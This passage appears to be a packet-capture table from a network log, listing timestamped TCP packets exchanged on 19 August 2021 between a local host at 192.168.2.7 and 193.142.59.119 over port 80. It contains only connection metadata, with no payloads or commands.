Aug 19, 2021 07:53:39.842186928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842206955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842231989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842243910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842250109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842278004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842288017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842310905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842318058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842344046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842353106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842375994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842385054 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842408895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842421055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842444897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842448950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842478991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842487097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842513084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842518091 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842557907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842569113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842597961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842607975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842626095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842633963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842653990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842665911 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842693090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842694044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842731953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842735052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842775106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842792034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842834949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842837095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842876911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842879057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842916965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.842926025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842974901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.842984915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843002081 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843010902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843030930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843040943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843059063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843067884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843087912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843101025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843132973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843133926 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843163967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843178988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843193054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843204021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843240023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843264103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843307018 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843307972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843339920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843349934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843368053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843388081 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843406916 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843415022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843446016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843457937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843473911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843482971 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843502998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843514919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843530893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843543053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843559980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843569994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843588114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843600035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843616009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843626022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843645096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843657970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843673944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843684912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843703032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843714952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843730927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843734026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843760967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843777895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843799114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843853951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843858957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843892097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843924999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843938112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843951941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843964100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.843981028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.843992949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844010115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844023943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844038963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844050884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844069004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844096899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844150066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844170094 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844171047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844213009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844217062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844259977 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844261885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844304085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844305992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844343901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844346046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844387054 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844387054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844425917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844497919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844538927 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844540119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844583988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844614029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844651937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844655991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844695091 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844696045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844737053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844748020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844786882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844789982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844829082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.844829082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.844866991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.860621929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.860714912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.860745907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.860749960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.860776901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.860816002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.860901117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.860959053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.860965014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861037970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861097097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861099958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861259937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861289978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861313105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861335993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861335993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861385107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861386061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861432076 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861439943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861490965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861568928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861620903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861623049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861659050 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861711979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861745119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861763954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861793041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861802101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861821890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861841917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861867905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861891985 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861921072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861943960 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.861949921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861974001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.861977100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862005949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862006903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862030983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862030983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862063885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862086058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862121105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862174034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862184048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862231970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862236023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862288952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862392902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862449884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862540960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862574100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862591982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862601995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862622976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862632036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862644911 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862660885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862668991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862710953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862713099 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862735987 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862761974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862762928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862787962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862790108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862816095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862821102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862842083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862843037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862869978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862870932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862895966 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862896919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862924099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.862925053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862946987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.862988949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863003016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863018990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863029003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863042116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863070011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863080025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863095045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863127947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863161087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863198042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863226891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863253117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863276958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863296986 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863298893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863301039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863312960 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863326073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863327980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863353014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863357067 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863382101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863384008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863410950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863416910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863466978 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863504887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863523960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863574982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863677025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863742113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863743067 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863791943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863821983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863868952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.863895893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.863922119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.896764040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.896804094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.896816015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897237062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897249937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897269964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897284031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897296906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897310019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897334099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897358894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897371054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897375107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897383928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897397995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897411108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897433043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897444010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897454977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897461891 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897470951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897474051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897496939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897506952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897516966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897548914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897550106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897572994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897572994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897594929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897613049 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897615910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897635937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897636890 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897658110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897665977 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897681952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897701025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897705078 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897722006 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897726059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897739887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897761106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897768021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897782087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897790909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897805929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897825003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897829056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897842884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897850037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897867918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897876024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897890091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897892952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897908926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897917032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897933960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897938967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897953033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.897960901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897977114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.897978067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898000002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898017883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898036003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898053885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898071051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898080111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898096085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898099899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898117065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898129940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898132086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898154974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898166895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898175001 CEST	80	49738	193.142.59.119	192.168.2.7
